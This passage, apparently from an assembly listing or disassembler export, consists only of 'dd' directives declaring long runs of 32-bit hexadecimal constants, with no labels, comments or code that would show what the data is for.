dd 70F85D9Dh, 0AE3EE4CFh, 0CD0A300h, 6689AC23h, 0C29D0365h
dd 1E02B377h, 5B3781C8h, 470F3B00h, 4F32CD19h, 35B833h
dd 0A93CE61Dh, 7A7C9A7Eh, 8CE2C200h, 1699120Fh, 0C040F3D4h
dd 438E37h, 0F4F6F230h, 64105218h, 0F7A9AD00h, 7D2CCBD0h
dd 16FCF9B7h, 10FD604Fh, 0CFBA569Bh, 8909E6B8h, 2E40648Ch
dd 0EE0BA0F8h, 3CACB16h, 9E98DB12h, 7BD9F9B2h, 0FF24E8B4h
dd 72009C71h, 4BA2704Dh, 0BA1BF4Ah, 0DB0F5775h, 54C7AA0Eh
dd 29E3E055h, 0EC3F184Bh, 0B11000C7h, 99C2A61h, 0AEDB006Ch
dd 0D0AB408h, 8B016842h, 3979DF6Eh, 8820761Bh, 18F8008Eh
dd 0F669C70h, 90636B6h, 0A89EF985h, 0D5DE0030h, 0C7C62C1Fh
dd 43007C49h, 9428C90Bh, 0F6F2F6ACh, 4F7D65h, 0A812E3CAh
dd 0D14D61D9h, 3A78B3Ah, 0F7FF2AE1h, 0D7A0807Fh, 0E4A63E17h
dd 0D23EB848h, 4D46BA8h, 88B319F4h, 678E402Ah, 321A012h
dd 2D30605Eh, 6C93BAB7h, 0FFE3A480h, 0EDF67800h, 9859DA1h
dd 0B5BC00F2h, 0A6EF103Dh, 0A071182h, 0ED9E0CB8h, 0D021AD43h
dd 0EE8954Ah, 76806C06h, 469A0440h, 7507FFD8h, 0D6423F10h
dd 29A23A00h, 72C901DBh, 21A7D07h, 324FFCE4h, 0EEAF340Fh
dd 33490E0Ch, 0E1B03907h, 1280F7E0h, 30F00092h, 1CD96084h
dd 0EE1FD896h, 0E7C0B15Ch, 168DE028h, 8721000Bh, 0F302DCA0h
dd 0AA00B9CAh, 259D7DF8h
dd 0BFC215h, 240FC955h, 0EB802A08h, 1C29A43Fh, 0CC726B6h
dd 0F3F01810h, 7176AE4h, 0D4ECF9Ah, 1422A09Fh, 8A00CB36h
dd 4F92E4Ch, 4150C2h, 0F1A99DCEh, 87B3B066h, 62E8D10Dh
dd 6A603060h, 0F05607ABh, 941B4C19h, 0DCF4C055h, 0EC0FFCF9h
dd 0A064CA92h, 9752BF31h, 583F0082h, 0D603FB9Eh, 32009A85h
dd 0C48BB8Ch, 0EE3C12C1h, 4F830015h, 3E61E8EBh, 0B900AD47h
dd 4863147Ch, 6027C3h, 6966BFE3h, 160B17AEh, 0A9C1FA00h
dd 26444F28h, 68180061h, 0A30CB6F0h, 0C600EDF2h, 0BFFA2499h
dd 0FA9A071Bh, 0E35F0FECh, 0B8873FA9h, 4590B02Fh, 3B7A7131h
dd 0FBDCDF01h, 0ED8702A7h, 72DEC8h, 0A85BEF42h, 4BB7E18Fh
dd 765F251Ch, 0C1D36800h, 28090C47h, 0DC7F56h, 6C2FFA28h
dd 4D9FE689h, 3F69A00h, 0C8465DB3h, 2AF200F0h, 1E9C02F3h
dd 0D3008DE2h, 0F84489DCh, 637DC5h, 34F1D9A6h, 5B860550h
dd 62F43200h, 0E032DBBh, 8CFC4Dh, 0A206A7B5h, 57F9BC76h
dd 3C00CBF4h, 0D2F87C2Dh, 0B04CFCh, 71F2AC24h, 289C4D1Ch
dd 6DD5B903h, 4BA5A4h, 29419E10h, 601FBC02h, 0EC000677h
dd 6ECB137Fh, 45230A5h, 0DD97A785h, 0BFD3C062h, 0E300419Bh
dd 7C8095C6h, 0E3A4CCF1h, 3FCC5F1h, 1BED1C70h, 2A308062h
dd 0AE09C1A2h, 0CE7DE8FDh, 23C64F00h, 0D12C75C3h, 130EA1Fh
dd 9A0CE1F4h, 3B811633h, 0B1C66900h, 38263F0h, 8474F3Eh
dd 5DB8296Bh, 73007CB4h, 229DDB2Dh, 0D61572h, 6B1DA1FFh
dd 6C26EB16h, 0EFBE1E00h, 0BDE742B1h, 0D9040015h, 4437760Bh
dd 9574516Dh, 6A927007h, 0E510BBDAh, 2C248014h, 52D383h
dd 0F4A407E0h, 0B6784759h, 0C406AAE0h, 9C78EF01h, 567D2E98h
dd 6F4E001Dh, 0B0A477C7h, 105BD00Eh, 0D4C446F3h, 0C3E74429h
dd 8FDA2538h, 0E0AAC66Ah, 5E3F03C8h, 0CA72008Dh, 0F8299A9Bh
dd 0FE008F77h, 0CE1DDF97h, 3044070h, 0BBFCBA93h, 22E0D460h
dd 0F958E14Ch, 0B226007Eh, 0D378A95Ah, 50580314h, 4A1D4BB0h
dd 36EAA4F8h, 91B2200Eh, 5CACA0DAh, 1C5E3C64h, 0C496A9CCh
dd 0C033D558h, 1016C3CCh, 812A760Ah, 0E19EBCEBh, 0E2587E03h
dd 801FC0B7h, 14153977h, 8A5F1900h, 0DBF33844h, 208A100h
dd 0B97CF548h, 30E0670Eh, 0B6F23057h, 0D0008111h, 99CE6C19h
dd 631884h, 0E9D80D65h, 7168FE2Ah, 0EFD70B00h, 9872E0B2h
dd 75B10015h, 2976CF5Bh, 8A005849h, 20871E48h, 21343EEh
dd 2E2DDAC7h, 80FF7072h, 0F1D7AB70h, 493B023Fh, 5C6DBE5Eh
dd 80AFD041h, 5D7BF329h, 9C2C47h, 0B422D4C2h, 490F538Fh
dd 0E85E2500h, 0A0E93799h, 504BEE4Ah, 1DB780CFh, 6A595Bh
dd 0ECB9A6C0h, 18B87640h, 0B641F400h, 0DBC50B58h, 626F0F25h
dd 0DE4034E6h, 0A1218D9h, 1589BB00h, 0F7EAA58Fh, 74DA0077h
dd 0A6AE4B35h, 0D9FE3EF4h, 0DD2CEF00h, 0DBFFF2Fh, 9A4301AFh
dd 4EBAA08Fh, 0DF7EDC81h, 858CA200h, 37EA890Bh, 0C8D075Dh
dd 509D0690h, 0FDC487C3h, 8400CB78h, 0D75136DBh, 8CEE40h
dd 8196B7Fh, 498568CAh, 0BB79E100h, 64435AC3h, 899B00CBh
dd 3132621h, 9AB0B227h, 10230407h, 0E940C8DBh, 0CF6A91h
dd 5EA4739Ch, 572ACA2Eh, 44C47114h, 0AF1300B4h, 0BB4683E9h
dd 725B1491h, 0E6009CECh, 38A90964h, 0A492FFF9h, 318E0A00h
dd 0A096E406h, 70D6E2CCh, 3CE5047Dh, 81298F02h, 5138D207h
dd 4243D3B0h, 544072D9h, 0D700A736h, 4EF76774h, 79ACFh
dd 0C6C89DC7h, 1B4BF88h, 0B626D700h, 8F940487h, 11732489h
dd 75E00778h, 90D5B47Ch, 469EFD44h, 84020D76h, 7253A750h
dd 806841CEh, 303D63F4h, 410D37Fh, 2B90D1A5h, 747CD200h
dd 0CA5EC53Eh, 9D8401FEh, 0A76D622Ah, 0F8DDD8F9h, 163B2605h
dd 858156F6h, 9883BF89h, 0D5AFFA77h, 63B15000h, 2EE8A6F1h
dd 5B79002Bh, 26202C62h, 8E0682C2h, 4F323095h, 23250038h
dd 945874BCh, 6801E44Eh, 7D417B44h, 0D8AC1B1Fh, 0AF7A0011h
dd 69B0F1A4h, 62878C00h, 0DD157174h, 27490089h, 0B1CFFD2Eh
dd 7F0B1D35h, 42224h, 0C10FD734h, 4E831EDEh, 0E3E0C045h
dd 0E95F528Eh, 3C8A3Bh, 4DDF9EC4h, 39B49F60h, 6E80B767h
dd 93187658h, 6002E8Dh, 378E1CE7h, 7412F57Bh, 42F694h
dd 971B5D4Dh, 514ADEB2h, 0EE2FF900h, 0BF7ACF19h, 16FE0053h
dd 0BC71CD36h, 5D038DB7h, 0CCFC39CEh, 0D030173Eh, 8BF5002Ah
dd 0C924F629h, 45C74526h, 0BE6E3001h, 0AA209B21h, 1B180008h
dd 0F1E6538Dh, 9D76F761h, 5A56C006h, 1D21F2D3h, 40827C0Dh
dd 0EA3B0BB5h, 60605132h, 87B8CB50h, 3DE100ACh, 759DCCC6h
dd 9F077925h, 8EC84AD7h, 1480C064h, 1EA52B2Ch, 0F869111h
dd 0A42041C9h, 0E766B072h, 0B4F2B430h, 722236F1h, 0E9EA007Bh
dd 0DC6D5A6Ah, 3400801Ah, 12A0974h, 8C1E44h, 8A84831Bh
dd 0D2DF5890h, 0AF264D01h, 0F48556ACh, 1207D1D0h, 0BACAB051h
dd 0B7F78E00h, 2524Fh, 0FD485033h, 0E6AC9ED9h, 0EB9D29C0h
dd 7DC8641h, 2916AB05h, 1ADF500Bh, 2303B399h, 114B85A0h
dd 587DA0F9h, 0BD140060h, 668333E2h, 0FD006A96h, 0F854E628h
dd 0E824Ch, 7BC907EAh, 0B67DBFB9h, 33EAC1Fh, 0E0012D8Eh
dd 9DF5098h, 301A0EA4h, 92E1E1E9h, 2B1C9E10h, 0EFAB7500h
dd 0A8E523h, 0B5D495C8h, 0FC3ADF02h, 802D303Dh, 0AFC2C389h
dd 5E19FBh, 79F38B5Fh, 5568C543h, 9DEAEC01h, 9675824Ah
dd 2A35DDCCh, 0D8BAC6h, 0F285FA07h, 2A72022Bh, 0A6A80300h
dd 31B07DA7h, 74060F48h, 0C74045DBh, 4C17943Bh, 8518771Ch
dd 38A18600h, 0C067ECD1h, 4893760Ch, 629D37C6h, 814080F2h
dd 3017CBF9h, 1D10B835h, 56013E77h, 24E1B469h, 482448EEh
dd 0B96C0C1Ah, 0C288D10h, 0A913E1FAh, 0FE01A0BFh, 668F914h
dd 0D8F2E480h, 78F6A2Fh, 0A100EDF0h, 41CE1346h, 1F3EEAC2h
dd 0B937D4E6h, 60D0A27Bh, 192D7071h, 0D01F6B97h, 12F6CC93h
dd 0FB0F0705h, 0B200F4C8h, 6FF090Ah, 0AAE22CA0h, 29220099h
dd 39DC0197h, 8D004CEEh, 36940D28h, 901652F4h, 4850C59Ch
dd 72B70053h, 0CA9CAD8Ch, 6D1B3F00h, 0F8FAB78Eh, 0D90F0058h
dd 7996F057h, 34068552h, 1DD60865h, 41F1F40h, 9B6C413Ah
dd 0E85D026Ah, 0C2FA1A61h, 4A025490h, 99895347h, 49A80ADh
dd 0F6672AFBh, 0C3312410h, 0DA7F003Ch, 0F89507F1h, 39B6000h
dd 2B049F88h, 630C04BCh, 8168C328h, 0D86AE74Ch, 1F3E5EBEh
dd 2F53806Dh, 0BCAD43E2h, 3BE6A077h, 69CA062h, 0FB130042h
dd 0ABCA8358h, 357DE91Dh, 6E256100h, 5B1C451Bh, 7D84F413h
dd 0CE911C88h, 39E100F5h, 92C3952Ah, 10CB9C04h, 0BAC33B1Bh
dd 5EC0D0B9h, 7A4A1EB6h, 878D5DB3h, 2F1E9561h, 4B81310Eh
dd 40A320D6h, 12B83CCDh, 81985D0Eh, 71CCE059h, 67EAC7h
dd 4B700A7Ch, 6038C8E0h, 52E92800h, 0B6038331h, 74D307D7h
dd 2CFC08Ch, 0B4807FFDh, 0F70A70FAh, 9C265804h, 6680979Bh
dd 0B0B1401Bh, 1D2C300Dh, 0AC70AF10h, 17F01A00h, 583055EBh
dd 51920032h, 6DB88A10h, 4300A459h, 899E2537h, 9D76C9Dh
dd 7ED0A68h, 0A7526001h, 9804FC8Fh, 48902875h, 0A263F704h
dd 5C803A7Fh, 0DAE90Ah, 0E2A6EDFDh, 2AC12D3Eh, 0A8FC4Dh
dd 9327193Bh, 0B28F36h, 121C51CCh, 8C5514F8h, 7F3C58F6h
dd 284876h, 0A7CF6471h, 4CD0686Fh, 490408DEh, 0C0748C82h
dd 0FF485DBCh, 0AF250400h
dd 0DE0FD8F6h, 0EB1C001Fh, 83321EA3h, 0F200874Bh, 40D21AC2h
dd 0CDE315h, 0FB74E1CFh, 0DFA7E72Dh, 603B3400h, 52C18303h
dd 9280F742h, 0E4B654B7h, 0C40057AEh, 5B5DFA27h, 0A038E146h
dd 398DE84h, 1FAC03D2h, 80B82D91h, 4E008F74h, 874D2A37h
dd 776F2079h, 18F20BB9h, 770F045Ch, 0CDC4A480h, 9C0066DCh
dd 0AC347652h, 0D24596h, 0BB89C62Ah, 0D1F9F5DAh, 6AB9D8C7h
dd 0E723DF10h, 0DB32A29h, 0A8D0FFA4h, 379F0062h, 0CDA5A60Ch
dd 750EF647h, 0CBF381h, 0B01D2045h, 76590072h, 284A6B99h
dd 0B700A304h, 0F6927FD4h, 0E041C711h, 172722Fh, 21FB099Dh
dd 3671EC8Dh, 0B2DE072Ch, 0F00EAFCh, 0E36E2FFh, 100B5963h
dd 3C156DA2h, 5C00446Eh, 0F5D48195h, 66FDA5h, 2732DE49h
dd 9108DCEFh, 0CED7A909h, 0F8790720h, 6F9F6AE0h, 7CBF0112h
dd 0A884F6C6h, 4CA820C0h, 0D514A900h, 53BEE06h, 83CB1D8Fh
dd 1C1EFDDAh, 0F5BA80C4h, 0A8F7A5EFh, 8B3C3Fh, 2BC17609h
dd 0ACDFBDh, 508D9FAAh, 2EA47ECEh, 0CEE2500h, 0FDD47B42h
dd 0A779E0h, 9D62C1CCh, 7F3AED08h, 95306800h, 84019B27h
dd 97110152h, 92077C70h, 3FA4F422h, 9B483901h, 3C5F2DF6h
dd 0F1C0B8F3h, 0FD770088h, 0DFB44082h, 6100D415h, 5BED7EA5h
dd 0EA8D4FB5h, 0CB09Ah, 2F17AE60h, 862DD635h, 9145A00h
dd 0E128E351h, 0A9540079h, 0A6114233h, 0D27C0566h, 0AC2AA00h
dd 5782ED68h, 412A00A2h, 265FEE8Eh, 9C702D43h, 0D62C0A00h
dd 0ABFB30CBh, 7FA030DAh, 0E5963C71h, 62D7E001h, 167341E3h
dd 282070E1h, 746178E1h, 428F1F2Ch, 186318BFh, 81FF17D9h
dd 14721841h, 881FB3Ch, 4A77B508h, 0F002E961h, 30CBFFDh
dd 30855540h, 625F18EBh, 0DA0258DBh, 3C910D03h, 0E7EF9960h
dd 9A30E086h, 0E5F50764h, 0A2F79D47h, 0C80D9E3h, 18611FFDh
dd 3C05D200h, 1AA0459Bh, 0FA3E07BFh, 208878DDh, 96EF6F7Dh
dd 97173Bh, 0C0639EA5h, 0B058D96Eh, 74B40705h, 30550729h
dd 0B026D1BFh, 0CB10DE00h, 17834C5Bh, 53AB0FCDh, 8A8058DCh
dd 0A08DCAD2h, 0FFCFC400h, 92EC192Ch, 221E3D42h, 0B1847780h
dd 5E47A8EAh, 8BB2D207h, 16C00F24h, 501E97C3h, 1BC19C7Dh
dd 0C9C4089Ch, 0BC042EC5h, 91E308Bh, 90481F10h, 5988ECA3h
dd 0D174A01h, 5E187C40h, 4200928h, 0D01B99FAh, 60D4494h
dd 4424F044h, 5A44235Dh, 4151488Ch, 794E642h, 2D0028AAh
dd 97988AF8h, 3E0344A5h, 85292364h, 77BE4E5Dh, 0F3794323h
dd 0D4889383h, 0AC00B2A6h, 0C624D717h, 0B3E89Dh, 2AD38934h
dd 0ABF36983h, 71A25Ch, 3228C064h, 2CF5E005h, 77D924h
dd 0D2EB0CC5h, 872CA9B7h, 0E700D93Ah, 0B6454A74h, 242F0079h
dd 53779D82h, 0D600A44Fh, 0A76DA021h, 1033128h, 8A9F3AB5h
dd 0E83029CCh, 1A001D8Dh, 0A01090B3h, 8FAD56h, 6E02AB05h
dd 0CC378A2h, 689AD703h, 0E1DD9Bh, 0E876910h, 91F6AEF1h
dd 497F503Fh, 2C260E6Ch, 2F36A782h, 0D0F4E7A3h, 35B998h
dd 1D5D50C5h, 82FA7DDEh, 0A03748CFh, 17642CF3h, 0F94C0088h
dd 0B85EC159h, 0DB003B03h, 678B8CE0h, 68020Bh, 6CFE7C17h
dd 0AEB9D363h, 0A2004DB8h, 51869A53h, 907FE679h, 0EF3F000Ch
dd 5B20C3F9h, 40065664h, 391BDC9Ch, 13B577B0h, 0BBFCBF76h
dd 33B20Eh, 15380AD7h, 230E0958h, 4780B064h, 59C7E3E8h
dd 24D67D01h, 0C043DB52h, 0E108BF8h, 9198F79h, 5A1576E0h
dd 0D0EAD6Ah, 0E0819DD3h, 1AA397D0h, 30A4003Ch, 496D57C4h
dd 5097C7D8h, 72AF00B3h, 0B13BAE20h, 5900D9C2h, 4873FE6Eh
dd 856966h, 0B05C76F3h, 0D67E71F2h, 5F927200h, 16386DADh
dd 0D2DCC0F7h, 0FE8CE30Ah, 0B597F00Fh, 0DA8A603Dh, 4B5B45h
dd 0B14FED80h, 0DFE6EF7Ah, 928ECA00h, 1944DE8Dh, 22F054h
dd 76F2E049h, 0C5D974BCh, 0E472832Eh, 14932400h, 6FB51Eh
dd 15965FBFh, 0DE9A7AE1h, 0E7D89503h, 7576E975h, 0EFCD0040h
dd 0AB18311Ch, 0D4906120h, 7A3D731Eh, 95119B40h, 0F3B8B4h
dd 0DFDB3FBBh, 0AFEFF9DAh, 99C73Ch, 0F16CEB17h, 0C8F5Ch
dd 0F72A3912h, 13CC1B31h, 93144600h, 55AFC203h, 6D77FAh
dd 733358B3h, 0B2767B35h, 0ECF0D598h, 1660800h, 56FB1A8Bh
dd 2099388Eh, 0CF24A700h, 48AEBC5Eh, 0E4C58807h, 0B820EE32h
dd 0E24F28h, 0B60E5089h, 0F5ECB4DCh, 8EFB7A00h, 0C21F6715h
dd 2401002Ah, 0F9CB4AF0h, 5E790F6Dh, 600AC724h, 0B629E600h
dd 24805F18h, 158F5B2h, 0EF612EEDh, 82373016h, 6C0B637Fh
dd 8E6D595Ah, 20B600F0h, 7336727Eh, 956601A4h, 0E73254Ch
dd 0A82BE8D1h, 9C6948C0h, 0C50F5EFh, 378BE199h, 52006019h
dd 0FA672228h, 211E9Eh, 0DA803032h, 0EFE7A689h, 7A291018h
dd 7EA3A0h, 0AC551A7Ch, 0C61E2885h, 94BFCE24h, 71304F87h
dd 0D8395B00h, 88EC3A01h, 727DC100h, 0EE345412h, 0B6016A7Dh
dd 0C531F5C3h, 87E8011Fh, 0B06FC24h, 2E9871D1h, 0F4694780h
dd 0CB00143Bh, 0FF60477Ah, 565843h, 1C63DE48h, 6DF853B9h
dd 0FE23BF00h, 2AC09182h, 43E90013h, 0AB267F2Bh, 55E689F1h
dd 0F64D6800h, 0CE1B5B23h, 3F98EA21h, 31006D99h, 62243D8Dh
dd 4A0B09ACh, 3C7A5D7h, 98671CD5h, 9861FB0Bh, 27280988h
dd 5C003ABFh, 60871252h, 55D9DA00h, 0B3B8FABDh, 290E003Bh
dd 59450F44h, 84BA6535h, 87A5ED09h, 0D95EC6h, 0D09749A3h
dd 4638E983h, 0F8892E6h, 0EEEAA100h, 114891Ah, 326935E1h
dd 0F424E301h, 26090921h, 0B84173h, 804476F8h, 0D2CA0172h
dd 29C53386h, 34AFF023h, 0E3A1A803h, 0D8D3950Dh, 249A02h
dd 266B20B1h, 33DA18FCh, 120DF70Eh, 2B27207Ch, 638E3Eh
dd 312E78E7h, 25FF38C3h, 0E5806D00h, 0F1329664h, 5EC000D7h
dd 44286F5Fh, 0A3007B7Ah, 0DBD824A1h, 0C377E9h, 7086E8DAh
dd 0E73FCA9Ah, 9BAA5000h, 4C4F3ADEh, 28BC0096h, 6BB4E80Eh
dd 0B1355EBDh, 0A0028CCh, 784FE345h, 38A500C6h, 0B7BD39F7h
dd 5C1DB44Ah, 0E34059E7h, 0B0D09B9Ah, 52D500FFh, 0A86DF01Ah
dd 0E1000814h, 0A74689CAh, 7EA13D8h, 426145BAh, 47261038h
dd 18001122h, 873DB094h, 1276CEFCh, 165B2CBh, 2655B49Ah
dd 89683080h, 0A80B5904h, 0A1C033BCh, 3FE4D51Bh, 8C01756Ah
dd 0DCF57945h, 55C720A3h, 0CB46400Bh, 8089F585h, 0CEB0D280h
dd 64004FFBh, 951826C1h, 1E0C11CDh, 0C0660FA4h, 507C68C2h
dd 0A0130DACh, 0A604F57Dh, 9280ABF0h, 924C74h, 710CFBB9h
dd 2A056911h, 0EBF6E401h, 8196254Ah, 3BC973E8h, 0B07DFC64h
dd 0F82B00A2h, 9FCEF7B9h, 0AC009D5Ah, 8F33B326h, 24B84DFh
dd 0C74F1367h, 0B880C172h, 0BD46B066h, 2192FD03h, 1C83C63h
dd 1CA77918h, 0D4086A13h, 16014737h, 284431E9h, 56D88709h
dd 96C000BEh, 0F101BFF5h, 747B4D0Ch, 0F4DE6F09h, 900B80B3h
dd 7FB92Ch, 44609BDh, 67E6EA5Fh, 99CCFD00h, 2AC1045h, 0C0941C8Fh
dd 20C7C093h, 8AE0313Ah, 300D371h, 0BB4E6CDEh, 4827E866h
dd 7730CFh, 0C7B7ED5Ch, 4065F810h, 5218DA60h, 989588ADh
dd 0F71A1E8Ch, 7DB500EEh, 0FBE6FEDDh, 4ECBBA00h, 0A8A1365Fh
dd 0E451015Eh, 594276DBh, 6B1080A9h, 0A3AD3DCBh, 950B0063h
dd 0CE6869Dh, 0B73C69F4h, 8CF52699h, 0EAFE5407h, 1A6EECB0h
dd 0FFB600E8h, 0B88D6384h, 0C500DA5Ch, 7CF1C62Bh, 69B4D4h
dd 0D3088142h
dd 0ADA2F8CDh, 0ECB2E128h, 60F2F40Fh, 3B3EF6Bh, 9872487Bh
dd 30A85C56h, 0F958EDADh, 2498B5EEh, 0A7D5F350h, 398A1600h
dd 0EFD29D01h, 272B1C8Ch, 332EC00Eh, 99E21E9Ah, 0D7192303h
dd 0D79D61D1h, 3EB787E0h, 5D0600D6h, 0B0304C67h, 0B4003AFCh
dd 0D087D49h, 71DE66h, 0DF97559Dh, 1BD6DDB8h, 38A47800h
dd 0C32EE38Ah, 0E8250367h, 0DAB6E706h, 0BEC046BBh, 210FEF95h
dd 0C32360A5h, 0F0A27C82h, 0B8E46Ah, 3A7BBCB7h, 69B0C7EFh
dd 59A03100h, 72CD2C1Eh, 5EBE0008h, 1CCCC1CEh, 280022E5h
dd 0A5334394h, 0C4FEBh, 0F348C972h, 3B2DA851h, 38BC539h
dd 35BC239Ah, 442EF097h, 74280189h, 0E1F36BB2h, 32D5EC98h
dd 0FF753B00h, 0BFD6FDB6h, 0EEFAA7h, 310E264h, 6760759h
dd 288EA600h, 80A865DBh, 3A470194h, 0CD99F6CFh, 2458E8E5h
dd 8041BF3Dh, 4A53872Eh, 7FDB71h, 0D12FF346h, 0B0F8F41Bh
dd 731E1001h, 8A63EC6Ah, 43242880h, 0E1B215CAh, 0F7C73F00h
dd 6EBA78F2h, 17207CD6h, 0AB2A95h, 2BDE821Ah, 773CA169h
dd 50C28F8Eh, 7FE620EAh, 1039A5Ah, 0CA766253h, 0F0E57729h
dd 3B00D50Bh, 0A236E964h, 72903556h, 0ABA3C71h, 0AED1C180h
dd 0A15CC36Eh, 940F500h, 3227F296h, 29880037h, 4D1002C1h
dd 0AF002214h, 345E569Ch, 441EEBh, 68DBBBCFh, 0CD818EA9h
dd 0CC2AB628h, 6787C802h, 409FA8BCh, 403E323Ch, 0C4304455h
dd 0FBD710E0h, 554009Ch, 0EBD09386h, 0E8FF178Ch, 0EA067670h
dd 29E2A58Ah, 0CD1B0050h, 0C2EB7E64h, 0F30770CBh, 0F9420693h
dd 7B52B5C1h, 806020h, 31278984h, 108B3E97h, 1E0162E8h
dd 0E1908FD3h, 66C83B25h, 0E3A60041h, 0BAFD2F75h, 0A2F05463h
dd 16709300h, 0D54A4C46h, 4CCE049h, 79D1104Fh, 0BDC6C165h
dd 93218027h, 83ACCB41h, 6DAB0047h, 282D5244h, 5000FF95h
dd 0EE3FB023h, 674E7Bh, 41534D4Ah, 56546D58h, 47B1D8EBh
dd 6056B3Ch, 6827AD0h, 38700C0h, 791383D2h, 320312D5h
dd 96B088B4h, 0FBD4D044h, 0F487009Bh, 0D2EF9AE7h, 851CA978h
dd 3700D65Fh, 2E722A45h, 7DF728ACh, 0A1A614D0h, 5D80E8D9h
dd 0F86FFB60h, 79C6C02h, 8FACFDB1h, 4A6DA1E9h, 9C20A5F0h
dd 3F7700F7h, 0D01B2466h, 0B300E172h, 3BAA78F8h, 4DB9186h
dd 0EC40463Dh, 0DDC0FEF0h, 224ACBh, 6054135Fh, 0C8612C36h
dd 0C645BC17h, 5B861507h, 435D8810h, 2E6C0002h, 294AEF1Ah
dd 1E07E0A1h, 977374C7h, 0C0E4FBE2h, 0DDCF1Ch, 0F9805A83h
dd 0F88FACCAh, 408BFE1Fh, 0DD259C0Fh, 5C64A740h, 76DA1AFh
dd 0E759D698h, 0A360EE35h, 0A6E62632h, 3DB5A700h, 0D3EF550Ch
dd 0C89E0084h, 8C23097Fh, 13D2E1Fh, 25F78754h, 67C0DB3Eh
dd 36AC55h, 229CC32Ah, 52C863F1h, 61718600h, 0B8CDF10h
dd 0C7D4B019h, 90E1CC18h, 271474E5h, 3D0003E8h, 0B573E032h
dd 0F77D2h, 0CCF412F5h, 0D344F12Dh, 858C080Eh, 0EF7646h
dd 1C278DA7h, 92002D0Bh, 82786776h, 7C6B24DFh, 0DEDA0087h
dd 0D359F3E3h, 533D2F9Dh, 2B3C0217h, 0C0A54D25h, 28B760D1h
dd 0EDAA31h, 2ECDBCA6h, 97741506h, 58CEFB1Eh, 0A117E280h
dd 7C51BA49h, 0EC663F91h, 0DC809000h, 0C50DDDA5h, 0A81B5000h
dd 4F61F68Eh, 0C98F0083h, 8CB1E47Bh, 4501D9EFh, 5988DFB7h
dd 0F4209474h, 91600B9h, 0BD71184Ah, 0B700291Eh, 6652DCC8h
dd 4E1BF79h, 5115ED59h, 1670802Ah, 0EB18172Bh, 981024DDh
dd 0C0FC1202h, 27AF0383h, 1800254Eh, 0D813FFD3h, 0AE57DBh
dd 7741A684h, 7E8E31B8h, 8611A509h, 6A9C80BAh, 0F904C9h
dd 88BD2C91h, 26023210h, 0BF457D00h, 18CD82C1h, 246B4D63h
dd 0E64C2C02h, 0EC409506h, 0E2004E9Ah, 0C91D8E71h, 85CED3h
dd 92363AC7h, 0F1F80E8h, 53D03107h, 5770FC8Dh, 0C8E41Eh
dd 0E086FB9Bh, 6752F305h, 0E5754400h, 4E6ECC26h, 0E0B07DD6h
dd 97C4077Ah, 60421ED4h, 36DE403Ah, 83077305h, 0A481CCA0h
dd 2830C858h, 7147916h, 0ACA12D1Ah, 8EF7B07Eh, 0CA2CB3C3h
dd 681CE4CFh, 0FFC07B9Ch, 0DFDC6A02h, 0D61A1B56h, 0D8B8212Fh
dd 9EFB9A92h, 99803511h, 1E5CB1D3h, 8474002Ah, 5F9BB057h
dd 0A81FE93Ah, 4980190Eh, 8672A7EDh, 4B6105BDh, 80D0FC3Fh
dd 0ED22238h, 45CED11Ch, 62A3F4C0h, 83E01Bh, 6E3178C2h
dd 4126E766h, 4340E900h, 63346412h, 9AFCF2h, 0F5241F81h
dd 5584A6ABh, 89740F00h, 4AB9AABFh, 8EDE005Dh, 0C5DF1F8Dh
dd 0DC0B33B8h, 8030BE63h, 0C683AFB2h, 14B700ABh, 662F1D95h
dd 9D7B2926h, 1B262AF2h, 0C4007035h, 0EA0E985Dh, 0E23A051Dh
dd 88C85Ah, 9994EC8h, 0E007C310h, 0EC735F65h, 0FF7D5940h
dd 7F0A0A8Fh, 194BBF5h, 8813A24Bh, 7CC440C0h, 0A94B02DBh
dd 0E9C59F00h, 19F3822h, 840C28DDh, 80BA89FFh, 0A61C5738h
dd 51A794Ah, 4CF77CA0h, 659C0917h, 0F33B2820h, 3E00D814h
dd 275C1387h, 0F5C692h, 22AC7F93h, 0B6880F84h, 0F0D94F01h
dd 64FD1ED3h, 3869B840h, 39AD7E08h, 77165327h, 4B7200F1h
dd 0A9E0F2DAh, 910D4707h, 805BA181h, 7725A78Ch, 96CD07D0h
dd 0F09FAFD9h, 0F0B06960h, 0A7F10D00h, 54B29AA3h, 7F6D0045h
dd 0DF66B862h, 2D007150h, 4167A426h, 65604ECh, 0A048AC07h
dd 3F00D1F3h, 0CB5A5C0Dh, 66BC6Fh, 861C31A4h, 0BA7C3E8Bh
dd 6E8E7200h, 0BB368710h, 38BD7AFBh, 9AD09E19h, 7B7D1CC8h
dd 0D40A40D9h, 4E8EC9A5h, 3C125Ch, 639702D2h, 22EB93h
dd 1D550FF0h, 787DE410h, 0F30DB91Dh, 0DF9F64C0h, 795F7A2Ah
dd 346000CBh, 0CA1129A7h, 7D00FAB2h, 62440EFh, 6C3596h
dd 605A0E37h, 9A03F47h, 0EC4ABB00h, 80BB833h, 209C009Ah
dd 6A84B0BFh, 8C003FB5h, 0C4AD905Bh, 0A067ACh, 33CE226Bh
dd 602A4894h, 0F01F501h, 64C81573h, 0EA9D108Eh, 8CAA1C40h
dd 930054C2h, 0AC583AA6h, 4C0B6C29h, 890F5CDAh, 7CA0B67Dh
dd 0DE9A5321h, 377AD200h, 0A484C71h, 474000ACh, 0AF745A49h
dd 5D4D5F7Bh, 0DE0B00ACh, 0D314558Dh, 0F456078Ch, 90983867h
dd 3475B7E2h, 31038CA0h, 0DECFC12h, 8176670Bh, 0A661F71Bh
dd 162C220h, 6B8D66A5h, 200455FCh, 110041ABh, 0A5AA873h
dd 17FD9A87h, 32F3712h, 25A12A5Ch, 33BE7790h, 1E60E91Bh
dd 0A88CA068h, 2B89452h, 142BA995h, 0D0971068h, 91764500h
dd 0A2530B59h, 0EAEF0751h, 800AC1C6h, 0D4492687h, 6A20D860h
dd 0C7291Ah, 0EF2DEDAAh, 53C87A73h, 2879D501h, 99AE5188h
dd 0B394180h, 4F976854h, 92DFF100h, 94CDF6D6h, 59D718F2h
dd 0EDD0282Ch, 0FC54AD24h, 0A986321Dh, 0C06984C9h, 0DBF75D20h
dd 813B7F41h, 1D6F819Dh, 33A0231Fh, 0EB509880h, 0B10FCBE6h
dd 93BC3903h, 899C7CECh, 0A4D1F361h, 0F90920h, 0E5AE868Eh
dd 0BB2974FAh, 0BE7C3600h, 44EABD5Dh, 0CAA200B4h, 0AC7E5EECh
dd 273762ADh, 0BB608111h, 0CA2DD739h, 40042C11h, 0E9AE6726h
dd 780009F8h, 4BEDB75Eh, 0CD9437h, 0AD73976Ah, 8D577E31h
